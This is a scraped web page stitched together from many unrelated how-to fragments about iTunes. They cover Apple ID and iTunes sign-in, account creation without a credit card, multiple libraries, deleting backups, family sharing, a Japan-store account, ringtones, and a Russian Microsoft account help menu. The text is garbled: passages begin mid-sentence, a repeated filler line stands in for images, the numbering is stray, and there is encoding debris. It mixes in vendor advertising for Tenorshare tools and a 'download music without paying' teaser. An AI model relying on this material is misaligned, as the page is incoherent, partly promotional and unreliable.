Signing Up on the Web

On a PC, you can also sign up for an ‌Apple ID‌ on the web by following these steps:

Open a browser.

Visit the ‌Apple ID‌ account page through this link.

Scroll down to “Create your ‌Apple ID‌” and click it.

Go through the steps and fill out the form.

The process for signing up for an ‌Apple ID‌ on the web is identical to the sign up process through iTunes, and it will require the same verification.

Description

Gain direct access to your iTunes profile from a Windows PC. Enter authentication data and open a window with the standard layout of the database with all the available multimedia files. Manage and adjust the content, save changes, and synchronize content.

The 12.12.3.5 version of iTunes is provided as a free download on our software library. The most recent installer that can be downloaded is 145.4 MB in size. The most popular versions among the program users are 12.10, 12.9 and 12.8. This free program is a product of Apple Inc.

Our built-in antivirus scanned this download and rated it as 100% safe. You can run iTunes on Windows XP/Vista/7/8/10 32 and 64-bit. This free PC tool can operate with the following extensions: “.m4r”, “.m4v” and “.aax”. ITunes.exe, YUUUU.exe, iTunesSleepTimer.exe, iTunesSetup.msi.exe or iTunesSetup 10.1.2.17.exe are the frequent file names to indicate the iTunes installer. The software is categorized as Multimedia Tools.

From the developer:

iTunes allows you to organize and enjoy the music, movies, and TV shows on your computer. It also provides access to over 100,000 movies and TV shows on iTunes library, which you can either stream directly or download for watching later. A variety of radio stations is available in iTunes , which you can listen to after purchasing a subscription.

You may want to check out more software, such as ITunes Duplicate Remover, Macsome iTunes Converter or Backuptrans iTunes Backup Extractor, which might be related to iTunes.

Войдите с помощью учетной записи Майкрософт

Управление учетной записью Майкрософт

Получите справку по входу, заблокированными или скомпрометированным учетным записям, связанным учетным записям, закрытию, повторному открытию и обновлению данных безопасности и профиля учетной записи.

Управление рабочей или учебной учетной записью

Узнайте о том, как управлять учетной записью, используемой вами для доступа к вашей рабочей или учебной электронной почте, файлам и другим веб-ресурсам в вашей организации, и как защитить эту учетную запись.

Учетные записи в Windows

Для входа в устройство с Windows можно использовать учетную запись Майкрософт либо рабочую или учебную учетную запись. Получите справку по Windows Hello, сбросу ПИН-кода или добавлению новых учетных записей на компьютер.

Учетные записи в Office и Microsoft 365

Получите справку по входу и управлению приложениями Office или подпиской Microsoft 365. Получите сведения о продлении, совместном использовании, смене или отмене подписки, об Office в Интернете, а также о версиях Office.

Обзор входа с помощью учетной записи Майкрософт

Справка по Microsoft Store и выставлению счетов

Обзор служб, предлагаемых в вашем регионе. Получите помощь по вопросам совершения покупок, истории заказов, возврата средств, отмены подписки, способов оплаты, загрузки приложений и другим вопросам, связанным с выставлением счетов.

Ваша учетная запись в Outlook

Получение справки по Outlook или Outlook.com. Включает сведения о календарях, настройке на мобильных устройствах, добавлении подписи и многом другом.

Управление устройствами, на которых выполнен вход

Просмотр устройств, в которые осуществлен вход, поиск, блокирование или удаление утерянного либо украденного устройства с Windows 10, планирование ремонта и получение поддержки.

Защитите свою учетную запись

Безопасность в настоящее время является приоритетом для многих из нас. Узнайте, что вы можете сделать, чтобы обеспечить безопасность своей учетной записи.

Другие продукты и службы Microsoft

Ищете справку по другим продуктам и службам, в которые вы входите с помощью учетной записи Майкрософт? Просмотрите приведенные ниже сайты.

Benj Edwards is an Associate Editor for How-To Geek. For over 15 years, he has written about technology and tech history for sites such as The Atlantic, Fast Company, PCMag, PCWorld, Macworld, Ars Technica, and Wired. In 2005, he created Vintage Computing and Gaming, a blog devoted to tech history. He also created The Culture of Tech podcast and regularly contributes to the Retronauts retrogaming podcast. Read more.

If you subscribe to the Apple Music streaming music service, you probably usually listen on an Apple device such as a Mac, iPhone, or iPad. But you can also enjoy Apple Music on a Windows PC equally as well. Here’s how.

Method 1: Use the Apple Music Web Player

Apple has created a web-based music player with an interface similar to iTunes and the Music app that runs directly in your browser. To use it, simply open your favorite browser, then visit music.apple.com to get started.

Once you have the site loaded, click the “Sign In” button, and you can log in using your Apple account information.

As part of the login process, you might need to authenticate your login with a passcode on one of your Apple devices. Once you’re signed in, you can search, browse, or play music just as you would in iTunes or the Apple Music app.

When you’re done listening, bookmark the site and just close your browser. The next time you want to listen, click the bookmark and you’ll be right back in where you left off. And don’t forget—the web player works on Mac and Linux as well!

Method 2: Install iTunes

You can also access the Apple Music service from iTunes. While Apple has migrated to the Music app on its Mac platform, iTunes is still alive and well on Windows 10. If you don’t have iTunes already, you can download and install it from the Microsoft Store.

Once it’s installed, open “iTunes” and select Account > Sign In from the menu.

Once you login, you’ll be able to access your iCloud music library and also your Apple Music subscription. To listen to Apple Music material, do a search or click “Browse.”

For example, if you click “Browse,” you can pick any artist on the Apple Music service and listen to the music almost instantly because the music will stream to iTunes from the internet—no downloads required.

by Jenefey Aaron Updated on 2019-07-25 / Update for iTunes Tips

iTunes can help you sync your music, photos, TV shows, movies and more. But there is a common confusion among a lot of iTunes user, that they are unable to understand or execute iTunes login in different devices or they don’t know how to login to iTunes account from another computer. Normally you can login a single iTunes account in total 10 devices including multiple iPhone, iPad, iPod, PC and Mac.

In this article you will get all the detailed information on how to login iTunes account into different devices and computers easily. Also if you are facing iTunes login error because of various issues, then you have just come to the right place. You will get the most exclusive 5 tricks to avoid or solve iTunes login error in no time! If you are still looking for something else, then that’s not the end! At the end of everything you will get an ultimate solution to fix the error of iTunes login to account in here. So keep reading till the end.

Part1: How to Login to iTunes Account from Another Computer

When you are traveling or on a business trip, you nust have the need to access to your iTunes account from another computer. You can authorize up to five stand-alonecomputers at any one time to access your iTunes account and purchases.

Here are the detail steps for you.

1. Open iTunes and click “Store.” Select “Authorize This Computer” and enter your Apple ID and password. Click “Authorize” to sync or play a purchased item on your current computer.

2. Then sign in to the iTunes store and click “Purchased” in the Quick Links section. Select the tab for the type of content you want to download such as music, apps, TV shows, movies or books.

3.Click on “Songs” to see individual items or click on “Albums” to view collections. Choose “All” to see all items of the content type; select “Not on This Computer” to display only items not yet present on the current computer. Click the “Download” icon for each item to download it to the computer.

Part2: iTunes Login in Different Devices

Here is how to easily login iTunes account in different devices:

1: How to Login to iTunes on PC

Install the latest version of iTunes on your PC and then follow below steps to login to iTunes on PC –

1. Launch iTunes and from the top “Menu” bar click on “accounts” and then choose “Sign in”.

2. Now you need to enter your login ID and password of your iTunes account and then press “Enter” button from keyboard or click on the “Sign in” button.

2: How to Login to iTunes on iPhone/iPad/iPod

Here is everything about iTunes login in to iPhone/iPad/iPod –

1. First launch the iTunes Store App.

2. Now scroll till the bottom of the page and tap on “Sign In”.

3. Now tap on “Use Existing Apple ID” to enter your Apple ID and password which you use in the iTunes Store and tap “OK” to proceed.

3: How to Login to iTunes on Apple TV

You can sign in to iTunes on Apple TV using these steps:

1. At first, go to “Settings”, then “Accounts” and then “iTunes and App Store” from the Home screen.

2. Now click on “Sign In” and then log in by using your Apple ID and password.

Part3: iTunes Login Error? 5 Tricks for You

If you are facing iTunes login error, then you won’t have to worry anymore. A lot of users can’t login to iTunes for various issues so here are 5 tricks for you to solve this problem –

11. It’s obvious that you can forget your iTunes password. But you won’t have to worry about it if you are reading this article. If you have accidentally forgotten your iTunes password, you can click here to know how to reset it.

2. Check Your Connection properly from your network settings. Sometimes network connection issue can cause iTunes login error.

3. Check System Status of your device.

4. Update Your Account properly. It’s possible that un-updated iTunes account is the cause of your login error.

5. Update the Software of iOS, TV OS, iTunes, mac OS or Windows. Your device software needs to be in latest version so that you don’t face any problem with your iTunes.

Part4: Extra Tips: iTunes Errors Always Happening? An Ultimate Solution to Fix It

If you are continuously facing iTunes login error issue, then you can easily fix iTunes sync problems and get rid of iTunes errors. With the help of Tenorshare TunesCare, you can solve iTunes sync problems & fix all iTunes errors. This tool will also help you to boost iTunes into its best performance for you. Tunescare is fully compatible with iTunes 12.7 so you won’t have to worry about anything.

If iTunes can’t read the contents of your iPhone, your iPod, iPhone, iPad is unable to connect to iTunes, iTunes is not syncing with your iOS device, sync session failed to start or any kind of other syncing problems can be easily fixed by Tenorshare Tunescare.

If you are unable to open iTunes on Windows 10, it’s not responding, it’s not opening but your PC shows that the process is running or it crashes randomly, then Tunescare is the best solution for you. If you have any iTunes install and update related error, then this tool can solve the issue in no time.

Final Words

Using iTunes from different devices is easy when you have the right knowledge and right solution to it. After following this full article, it might be very clear to you that you can login to your iTunes account from any device easily. Also if you are facing iTunes login error or you can’t login to your iTunes account, then you already found all kinds of solution from here.

The most effective solution is Tenorshare Tunescare. This masterpiece tool can solve any kind of iTunes syncing or iTunes error in a short period of time so that you can enjoy using your iTunes account. You also got the 5 best tricks to solve your iTunes login error from the first stage so that you don’t face this issue frequently. But for the ultimate solution, you must choose Tenorshare Tunescare to finish this problem from its root.

Updated on 2019-07-25 / Update for iTunes Tips

Keep everyone’s music in the same place

How to create a free account on itunes for windows pc

It’s possible to have multiple iTunes libraries, with separate content, on one computer. This lesser-known feature helps you keep multiple people’s music, movies, and apps separate and lets you sync multiple iPods, iPhones, or iPads to a single computer without getting other people’s music on your device unintentionally. Other options include using playlists and multiple user accounts.

These instructions apply to iTunes 9.2 and higher.

How to Create Multiple iTunes Libraries

Having multiple iTunes libraries is similar to having two separate computers, each with iTunes. The libraries are completely separate: Music, movies, or apps that you add to one library won’t appear in the other unless you copy the files to it (with one exception).

To create multiple iTunes libraries on your computer, follow these steps:

Quit iTunes if it’s running.

Press and hold the Option key (on Mac) or the Shift key (on Windows) and click the iTunes icon to launch the program.

How to create a free account on itunes for windows pc

Release the key when the Choose iTunes Library window appears, then select Create Library.

How to create a free account on itunes for windows pc

In the Save As text box, enter a name for the new iTunes library.

Give the new library a name that is different from the existing library or libraries to make it easy to locate the library.

How to create a free account on itunes for windows pc

Select the Where drop-down menu and choose the folder where you want to store the new library on your computer.

It may be easiest to create the new library in the existing Music/My Music folder to keep everyone’s content in the same place.

How to create a free account on itunes for windows pc

Select Save to create the new library.

How to create a free account on itunes for windows pc

iTunes opens using the newly created library. You can add new content to it.

How to Use Multiple iTunes Libraries

Once you’ve created multiple iTunes libraries, here’s how to switch between them:

Press and hold the Option key (on Mac) or the Shift key (on Windows), then open iTunes.

In the Choose iTunes Library window, select Choose Library.

How to create a free account on itunes for windows pc

Another window appears, defaulting to your Music/My Music folder. If you stored your other iTunes libraries somewhere else, navigate through your computer to the location of the new library. Choose the folder for the new library and select Open.

You don’t have to select anything inside the folder.

How to create a free account on itunes for windows pc

iTunes opens using the library you chose.

How to Manage Multiple iPods/iPhones With Multiple iTunes Library

Using this technique, two or more people using the same computer can manage their own iPods, iPhones, and iPads without interfering with each other’s music or settings.

To do this, press and hold Option or Shift, open iTunes, select an iTunes library, then connect the iPhone or iPod you sync with this library. It will go through the standard syncing process, using the media in the currently active iTunes library.

The iPhone and iPod can only sync to one library at a time. If you sync with another library, iTunes removes the contents from one library and replaces the content with material from the other.

Other Notes About Managing Multiple iTunes Libraries

Here are a few things to know about managing multiple iTunes libraries on a single computer:

If you have multiple iTunes libraries on your computer and don’t press the Option or Shift key when you launch iTunes, it opens the last library you used.
To make sure that each person uses only their iTunes account with their library, sign out of your iTunes account when you’re done using the program.
When you have multiple iTunes libraries on one computer, you can’t have different parental control settings for each library. To have different Restrictions settings, use multiple user accounts on the computer.

Watch out for Apple Music/iTunes Match

If you use Apple Music or iTunes Match, you must sign out of your Apple ID before quitting iTunes. Both of those services are designed to sync music to all devices using the same Apple ID. If both iTunes libraries on the same computer are signed in to the same Apple ID, iTunes automatically downloads the same music to them.

by Jenefey Aaron Updated on 2019-07-25 / Update for iTunes Data

Taking routine backups in iTunes makes it easy for us to recover iOS data. But the fact is, these backups eat up Gigabytes of space on your computer, and sometimes you don’t even notice this. You may want to delete iPhone, iPad, iPod backups in iTunes, when:

No enough storage space is available on your PC
To many old and useless backups are stored in iTunes but only the latest are in need
iTunes backup file is corrupted

Spend a few minutes to read the following, and you’ll get a detailed tutorial with pictures on how to remove old iTunes backup on PC, which helps save more hard drive space.

How to Delete Old iPhone, iPad, iPod touch Backups in iTunes on Windows and Mac

To delete iTunes backup files, there are 2 ways:

The following shows the details:

Way 1: How to Remove iTunes Backup within iTunes.

Step 1: Launch iTunes on your computer

Step 2: In the menu bar, go to Preferences.

Window OS: click on “Edit” on the upper left of the iTunes interface > click “Preference”
Mac OS X: click on “iTunes” on the upper left of your screen > click on “Preference”

Step 3: Click on “Devices”, and this will show a list of all iOS device backups stored by iTunes.

Step 4: Select backups you’d like to delete, and click “Delete Backup” button. Then click “OK” to confirm.

Way 2: Delete iTunes Backup by Going into the Application Data Folder

If iTunes doesn’t provide you with all the backups, you can use this method.

Step 1: Find iTunes backup location on your computer and then find the Application Data folder.

iTunes backup location:

Step 2: Delete iTunes backup. The folder contains all backup files the iTunes has got. Choose the one you want to delete.

After either of the 2 ways, these old, useless iTunes backups will be easily removed, reclaiming a large space.

Have any questions or suggestions about this article? You are appreciated to share with us by leaving a comment below.

Updated on 2019-07-25 / Update for iTunes Data

Marshall is a writer with experience in the data storage industry. He worked at Synology, and most recently as CMO and technical staff writer at StorageReview. He’s currently an API/Software Technical Writer based in Tokyo, Japan, runs VGKAMI and ITEnterpriser, and spends what little free time he has learning Japanese. Read more.

How to create a free account on itunes for windows pc

One of PowerPoint’s charms is its ability to play music during the presentation. Adding music to your presentation is simple, but using a song from your iTunes library requires a few extra steps. Here’s how to use iTunes music in PowerPoint.

Converting iTunes’ AAC Files to MP3

When you purchase a song from the iTunes store, it arrives in your library as a 256 kbps AAC file. There’s no argument that this file format isn’t popular. As you may have guessed, PowerPoint doesn’t support this type of file. So how do you use music from your iTunes library in your presentation? You’ll need to convert the files to MP3 format.

To do this, open iTunes, select the “Edit” tab, and select “Preferences” from the drop-down menu.

How to create a free account on itunes for windows pc

The “General Preferences” window will appear. In the “General” tab, select “Import Settings.”

How to create a free account on itunes for windows pc

Select the arrow next to the “Import Using” option and choose “MP3 Encoder” from the list. Click “Ok.”

How to create a free account on itunes for windows pc

Next, select the song from your library you want to use in your PowerPoint presentation. In this example, we’ll use Kyle Landry’s rendition of Howl’s Moving Castle Theme.

How to create a free account on itunes for windows pc

Once selected, head over to the “File” tab and select “Convert” from the drop-down menu.

How to create a free account on itunes for windows pc

Next, select “Create MP3 Version” from the sub-menu.

You’ll now see a copy of the same song appear in your library.

Let’s make sure it’s actually an MP3 file. Right-click it and select “Song Info” from the menu.

How to create a free account on itunes for windows pc

Go to the “File” tab and check the information next to “Format.” If it says “MPEG-1, Layer 3,” you’ve successfully converted the file.

How to create a free account on itunes for windows pc

Alternatively, you could check the format of the file by navigating to the location of the file in Windows Explorer. The file path is usually:

Adding Music to PowerPoint

Now you can add the MP3 file to your PowerPoint presentation. To do so, open PowerPoint and navigate to the slide on which you would like to insert the song. Next, go to the “Media” group of the “Insert” tab and select “Audio.” From the drop-down menu that appears, select “Audio on My PC.”

How to create a free account on itunes for windows pc

Navigate to the aforementioned file path to locate the recently converted MP3 file. Select the file, and then select “Insert.”

How to create a free account on itunes for windows pc

There are also several ways to customize the audio inserted in your slideshow. Use these tips to create the perfect presentation.

Create a Microsoft account

Swipe in from the right edge of the screen, tap Settings, and then tap Change PC settings. (If you’re using a mouse, point to the lower-right corner of the screen, move the mouse pointer up, click Settings, and then click Change PC settings.)

Tap or click Accounts, and then tap or click Other accounts.

Tap or click Add an account.

Enter the account info for this person to sign in to Windows. There are four ways to do this:

If the person you’re adding already has a Microsoft account, enter it now.

If the person you’re adding doesn’t have a Microsoft account, you can use their email address to create one. Enter the email address that person uses most frequently.

If the person you’re adding doesn’t have an email address, tap or click Sign up for a new email address. It’s free.

If the person you’re adding is a child, tap or click Add a child’s account.

Follow the instructions to finish setting up the account.

Create a local account

Swipe in from the right edge of the screen, tap Settings, and then tap Change PC settings.
(If you’re using a mouse, point to the lower-right corner of the screen, move the mouse pointer up, click Settings, and then click Change PC settings.)

Tap or click Accounts, and then tap or click Other accounts.

Tap or click Add an account, and then tap or click Sign in without a Microsoft account (not recommended).

Tap or click Local account.

Enter a user name for the new account.

If you want this person to sign in with a password, enter and verify the password, add a password hint, and then tap or click Next.

If your PC is on a domain, depending on the domain’s security settings, you might be able to skip this step and tap or click Next, if you prefer.

Tap or click Finish.

My computer is on a domain

Open Microsoft Management Console by clicking the Start button , typing mmc into the search box, and then pressing Enter. If you’re prompted for an administrator password or confirmation, type the password or provide confirmation.

In the left pane of Microsoft Management Console, click Local Users and Groups.

If you don’t see Local Users and Groups, it’s probably because that snap-in hasn’t been added to Microsoft Management Console. Follow these steps to install it:

In Microsoft Management Console, click the File menu, and then click Add/Remove Snap-in.

Click Local Users and Groups, and then click Add.

Click Local computer, click Finish, and then click OK.

Click the Users folder.

Click Action, and then click New User.

Type the appropriate information in the dialog box, and then click Create.

When you are finished creating user accounts, click Close.

My computer is in a workgroup

To open User Accounts, click the Start button , click Control Panel, click User Accounts and Family Safety, and then click User Accounts.

Click Manage another account. If you’re prompted for an administrator password or confirmation, type the password or provide confirmation.

Click Create a new account.

Type the name you want to give the user account, click an account type, and then click Create Account.

iTunes for PC

How to create a free account on itunes for windows pc

iTunes for Windows has a big job cut out for it. In the age of SaaS, the idea of downloading a music app is somewhat quaint, as well as the fact that, as one of Apple’s most famous pieces of software, iTunes isn’t an immediate slam-dunk for many Windows users.

A full-featured and remarkably versatile media player

Apple’s geriatric media player is looking pretty sprightly

That said, it’s actually a pretty impressive app. For starters, it offers you a multitude of media options. Of course, you’ll get old favorites like music and video, but iTunes also offers you access to podcasts, TV programs, radio, items from the App store, and audio books, all from within the same interface.

iTunes is designed to work best when you’re signed into an Apple account. Once you’re in, you can access your local iTunes libraries, wherever they may be – on another computer, an iPhone, etc. This is a gateway into the Apple ecosystem and the way many Windows users set things up so as to have at least a toe in the Appleverse. If you’re a Windows user who also uses an iPhone (!), iTunes is the primary way you will manage syncing.

Windows/Apple debate aside, iTunes is a great app for those who like significant customization and input into the way their media plays. For many, all the options offered by iTunes are simply unnecessary but there will be a small number who do, in fact, want to control everything from a central hub or exercise huge control over playlists or streaming options.

Visually, the app is sleek and easy to navigate and has a nice mini-player that lets you close the main window when playing your music. You’ll find it easy and intuitive to move from music to movies and podcasts to the iTunes Store, and when you do, you’ll find another pro – the massive selection you’ll find there. In fact, this selection can be overwhelming and some people consider it a con, but if you want variety, there is almost nothing better.

When it comes to user support, you shouldn’t have a problem. Apple support is famously strong and your position as a user is strengthened if you actually buy media from the iTunes Store. If you’re hoping to troubleshoot alone, you’ll find 18 year’s worth of help just waiting for you online

Where can you run this program?

This version of iTunes is designed to be downloaded on Windows. You can also get a version of iTunes from the Windows Store. From the iTunes homepage, you’ll find versions for Mac, tablet, and mobile.

Is there a better alternative?

There are lots of alternatives for iTunes, but whether or not they appeal to you depends very much on how you like to listen to your media. VLC provides another classic media player for Windows but lacks the ready-made curated audio books, podcasts, store and more of iTunes.

Spotify is much closer in terms of media variety but, of course, doesn’t support video and offers much less customization.

In short, you’ll be guided by the amount of control you want, the variety of media you want waiting at your fingertips, and whether or not you want a quick path into the Appleverse. If you want all three, then iTunes is in a class all of its own.

Our take

iTunes is much improved but still only of serious interest to people with non-standard use cases.

Should you download it?

Yes, it’s a pretty good app, but only if you like to buy your media, if you have a lot of media on your computer, or you really, really like iTunes. For everyone else, it’s not really necessary.

Looks great
Less bloated than previous versions
Central media control
iTunes Store offers huge variety
Good customization and playback options

Still a pretty big app
Many will feel it offers too much choice
Has a bad reputation

by Jenefey Aaron Updated on 2019-07-25 / Update for iCloud Tips

with up to six members of your family. Some of the things that you can share with the feature Family sharing allows you to share the purchases you have made on the Apple’s online stores are iTunes, Books, App Store apps, Apple Music, and an iCloud storage plan. That means basically you can share everything that you buy from Apple with your family members.

Apple has a comprehensive guide on how you can set up family sharing on iOS devices but it doesn’t have one for Windows PCs. This doesn’t mean that Windows users don’t use Apple’s services, they do and they also want a guide to set Apple things up on their devices.

To help you out with that, here we have prepared a guide that shows how you can set up family sharing on your Windows PC. Once the sharing has been enabled, you will be able to see the shared content on your PC just like you can on your Apple devices.

Setting Up Family Sharing on a Windows PC

The first thing you’re going to need to is iCloud for Windows on your computer. This will let you interact with many of the Apple’s services from your Windows running computer.

Head over to the iCloud for Windows website and download and install the tool on your computer. Launch the tool and you will be asked to enter in your login details. Enter in the details that have shared access for Apple’s services. Then, proceed with the on-screen instructions.

You should now be able to access many of the Apple services using iCloud for Windows on your computer.

One of the things you won’t find access to in the tool is your shared music files. That’s because it’s handled by another app and it’s called iTunes. That means you need to get the iTunes for Windows app and use it to access the shared music content on your computer. The following shows how you can do that:

Accessing Shared Music Content with iTunes

As we mentioned before, you need to get the latest version of iTunes installed on your computer before you can proceed. Also, once you have installed the app, make sure to log-in to your Apple account so everything can start syncing.

Open iTunes and click on the Account menu followed by Family Purchases. It will take you to the screen where you can see the purchases made by your family members and that are shared with you. If you like an item that has been shared with you, you can click on the download button to download it to your computer and make it available offline for your access.

One thing you should keep in mind with family sharing is that the country of all the users should be the same. If it’s different, you will lose access to your shared content.

So, that was how you could access family shared content on a Windows running computer.

The method above shows how you can do it the official way and then there are some other third-party apps that let you do the same thing but in a much easier way. Have a look at iCareFone from Tenorshare, for example. The app has got a file manager that lets you access and manage content on your devices. That means, you can get content from one device and put it onto another. We wouldn’t be wrong if we called it another way of family sharing.

We hope this guide helps you set up family sharing on a Windows PC.

Updated on 2019-07-25 / Update for iCloud Tips

Matthew Guay is a veteran app reviewer and technology tip writer. His work has appeared on Zapier’s blog, AppStorm, Envato Tuts+, and his own blog, Techinch. Read more.

iTunes Store offers a large variety of free content, but to download it you have to have an account. Usually you have to enter your credit card information to sign up, but here’s an easy way to get an iTunes account for free downloads without entering any payment info.

Although iTunes Store is known for paid downloads of movies, music, and more, it also has a treasure trove of free media. Some of it, including Podcasts and iTunes U educational content do not require an account to download. However, any other free content, including free iPhone/iPod Touch apps and free or promotional music, videos, and TV Shows all require an account to download. If you try to download a free movie or music download, you will be required to enter payment information.

How to create a free account on itunes for windows pc

Even though your card will not be charged, it will be kept on file so you can be charged if you download a for-pay item. However, if you only plan to download free items, it may be preferable to not have your account linked to a credit card. The following steps will get you an account without entering your credit card info.

Getting Started

First, make sure you have iTunes installed. If you don’t already have it, download and install it (link below) with the default settings.

How to create a free account on itunes for windows pc

Now open iTunes, and click the iTunes Store link on the left.

How to create a free account on itunes for windows pc

Click the App Store link on the top of this page.

Select a free app to download. A simple way to do this is to scroll down to the Top Free Apps box on the right side, hover your mouse over the first item, and click on the Free button that appears when you hover over it.

How to create a free account on itunes for windows pc

A popup will open asking you to sign in with your Apple ID. Click “Create New Account”.

How to create a free account on itunes for windows pc

Click Continue to create your account.

How to create a free account on itunes for windows pc

Check the box to accept the Store Terms and Conditions, and click Continue.

How to create a free account on itunes for windows pc

Enter your email address, password, security question, and date of birth, and uncheck the boxes to get email if you don’t want it…then click Continue.

How to create a free account on itunes for windows pc

Now, you will be asked to provide a payment method. Notice now that the last option says None! Click that bullet option…

How to create a free account on itunes for windows pc

Then enter your billing address. Simply enter your normal billing address, even though you are not entering a payment method. Click Continue and your account will be created!

How to create a free account on itunes for windows pc

If you get the Address Verification screen just verify your county and click Done.

How to create a free account on itunes for windows pc

An email will be sent to you to verify your account…

How to create a free account on itunes for windows pc

Click on the link in your email to verify your account, iTunes will launch and you’re prompted to enter in the Apple ID and Password you just created.

How to create a free account on itunes for windows pc

Your account is successfully created!

How to create a free account on itunes for windows pc

Now you can easily download any free media from iTunes. Keep an eye on the Free on iTunes box on the bottom of the iTunes Store page for interesting downloads, or if you have an iPhone or iPod Touch, watch the popular Free downloads on the Apps page.

How to create a free account on itunes for windows pc

And of course there is always great content on iTunes U to grab free as well.

How to create a free account on itunes for windows pc

Purchasing for-pay media

If you want to purchase an item on the iTunes store later, simply click on the item to download as normal. Click Buy to proceed with the purchase.

How to create a free account on itunes for windows pc

iTunes will prompt you that you need to enter payment information to complete the purchase. Enter your Apple ID email and password, and then add the payment information as prompted.

How to create a free account on itunes for windows pc

Remove Payment Information from an iTunes Account

If you’ve already entered payment information into your iTunes account, and would like to remove it, click Store in the top iTunes menu, and select View My Account.

How to create a free account on itunes for windows pc

Enter your Apple ID email and password, and click View Account.

How to create a free account on itunes for windows pc

This will open your account information. Click the Edit Payment Information button.

Now, click the None button to remove your payment information. Click Done to save the changes.

How to create a free account on itunes for windows pc

Your account will now prompt you to enter payment information if you try to make a purchase. You could repeat these steps after making a purchase if you do not want iTunes to keep your payment info on file.

Conclusion

This is a great way to make an iTunes account without entering your credit card, or to remove your credit card info from your account. Parents may especially enjoy this tip, as they can have an iTunes account on their kids computer or iPod Touch without worrying about them spending money with it.

Create iTunes Japan account

5 minutes guide to create iTunes Japan store account without Japanese credit card

How to purchase Japanese games and songs at iTunes japan store?

Each country has its own iTunes store. Japan iTunes store has digital contents, i.e. Japanese games, music, and apps that you will not find in other countries’ iTunes store.
In order to buy games, music, apps from iTunes Japan store, you need to register a Japanese account even if you already have an account in another country. Normally, a Japanese credit card is required to register an account, but this guide will show you how to register without a credit card by using an iTunes Japan gift cards.

Is the Japanese store in English?

Originally, everything in the iTunes Japan store was displayed in Japanese. However, Apple updated the store so that it now follows the language of your settings. If you set your language settings to be English, the menus in the store will be in English too.

How to create iTunes Japan store account?

Below are the 10 simple steps (roughly 5 minutes to complete!) to create an account without credit card at iTunes Japan store. The tutorial is conducted using iPhone, but you can also use iTunes on your Macbook or iPad and follow similar steps.

Open your iPhone or iPad’s Settings, Tap your name. It’s at the top of the screen.

Changing your country to Japan will cancel any recurring subscriptions associated with your Apple ID. You can sign up for these services again after changing your country, but only if those services are available in Japan. How to create a free account on itunes for windows pc

Tap iTunes & App Store.

How to create a free account on itunes for windows pc
3

Tap your Apple ID email. It’s at the top of the menu.

How to create a free account on itunes for windows pc
4

Tap View Apple ID on the pop-up menu.

How to create a free account on itunes for windows pc
5

Confirm your Apple ID password.

Depending on your settings, you may be asked to verify your fingerprint or enter a passcode to continue. How to create a free account on itunes for windows pc
6

Tap Country/Region on the Account Settings page.

How to create a free account on itunes for windows pc
7

Tap Change Country or Region to continue.

Scroll down and tap Japan. The terms and conditions of the location change will appear. How to create a free account on itunes for windows pc
8

Tap Agree at the top-right.

How to create a free account on itunes for windows pc
9

Select None for your payment method then Enter a Japanese mailing address. It can be any address (business or residence) in Japan, but it must actually exist.

Tap Next on the top-right. This will save your new address and payment method. You will now be able to find and download Japanese apps on the App Store.

Open the App Store to download Japanese apps. Now that your region is set to Japan, you’ll be able to download apps that are only available in that country.

Congratulations! Your registration is complete!

You can now purchase Japanese games, music, anime and apps only available at iTunes Japan store!
If you need more codes, you can purchase from JapanCodeSupply! Thanks for reading! ^_^

What to Know

Right-click the song and select Get Info >Options, enter the Start Time and End Time for the ringtone, then select OK.
Highlight the song and go to Advanced >Create AAC Version, then right-click the music clip and choose Show in Windows Explorer.
Rename the file extension from .M4A to .M4R, then double-click the renamed file to save it in the Ringtones folder.

This article explains how to make a ringtone in iTunes for free.

Previewing a Song

Before you do anything, you may first want to preview a song to determine which part of it you want to use; the maximum allowable time for a ringtone is 39 seconds. The best way to do this is to play a song and write down the start and end time of a section that you want to use; for example, 1:00-1:30 would be a 30-second clip that starts at 1 minute into the song and ends at 1 minute 30 seconds. To display the songs that are in your iTunes library, click on Music in the left pane (underneath Library).

Selecting a Song

Once you have identified a song you want to use and noted down the start and end time of the section you want to use, right-click it and select Get Info from the pop-up menu. This will bring up an information screen showing you various details about the song.

Setting the Songs Length

Click on the Options tab and put a checkmark in the boxes next to Start Time and End Time. The trick at this point is to use the times that you wrote down earlier — enter these in the boxes and click OK.

Creating a Music Clip

Start by highlighting the song with your mouse, click the Advanced tab at the top of the screen, and then choose Create AAC Version from the menu. If you don’t see this option, then switch to the AAC encoder in the Import Settings (click Edit > Preferences > General tab > Import Settings). You should now see a shortened version of the original song appear in your iTunes library. Before continuing to the next step, uncheck the original songs start and end times by following Steps 1 and 2 above.

Making an iTunes Ringtone

Right-click the music clip that you have created and choose Show in Windows Explorer. You should now see the file on your hard drive with the .M4A file extension — rename this extension to .M4R to make it a ringtone. Double-click the renamed file in Windows Explorer and iTunes will import it into the Ringtones folder (it may take a few seconds.

Alternative Method

If you have problems using the first method, then drag the music clip to your desktop and rename it with the .M4R file extension. Delete the music clip in iTunes and then double-click the file on your desktop to import it.

Checking Your New Ringtone

Check that the Ringtone has been imported by clicking on Ringtones in the left pane of iTunes (underneath Library). You should now see your new ringtone which you can listen to by double-clicking it. Finally, to clean up, you can now delete the original clip that is in the Music folder; right-click it and choose Delete, followed by Remove. Congratulations on creating a free ringtone using iTunes — you can now sync your iPhone.

Can You Create iPhone Ringtones for Free?

Normally, you need to pay a fee in order to make a ringtone using the iTunes software. Not only that, but the only songs that you can use are ones purchased from the iTunes Store. This means that you are effectively paying twice for the same song.

The good news is that with a little bit of work, you can create free ringtones for your iPhone using the DRM-free songs that you already have — even ones that haven’t come from the iTunes Store.

How to create a free account on itunes for windows pc

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How to get a free iTunes account without a credit card

How to create a free account on itunes for windows pc
The children have a new iPod touch for Christmas and you want them to be able to download free apps, without being able to download paid apps to your credit card. Here is how to set up a free account without a credit card. If you want to, you can recharge this account with an iTunes voucher.

1. Open iTunes.
2. Go to the ‘store’ page.
3. If you are signed in, sign out of itunes store (Click sign out on the menu above the top right of the iTunes store window in iTunes)
4. Select the country.
5. Go to app store.
6. Buy any FREE ipod application.
7. Click on create new account.
8. Under payment method select none as follows:

That’s it.
You can continue the signup process and you will have an account without a Credit Card linked to it.

SUMMARY:To get an iTunes account without a credit card you need to be logged out on my tunes, purchase a free iPhone app, and select none under payment options.

This guide will tell you how to download music from iTunes without paying. And you can get tips on how to download music from iTunes to iPhone, iPod.

Adam Cash

Jul 23,2019 вЂў Filed to: Download Music вЂў Proven solutions

Do you want to get the free iTunes songs easily ?

iTune is the best place for streaming music. And you can download some music on iTunes for free but with limited choice. So is there any way on how to download music from iTunes for free without limitation? Look no further! Here is an easy way to download any music from iTunes free of charge.

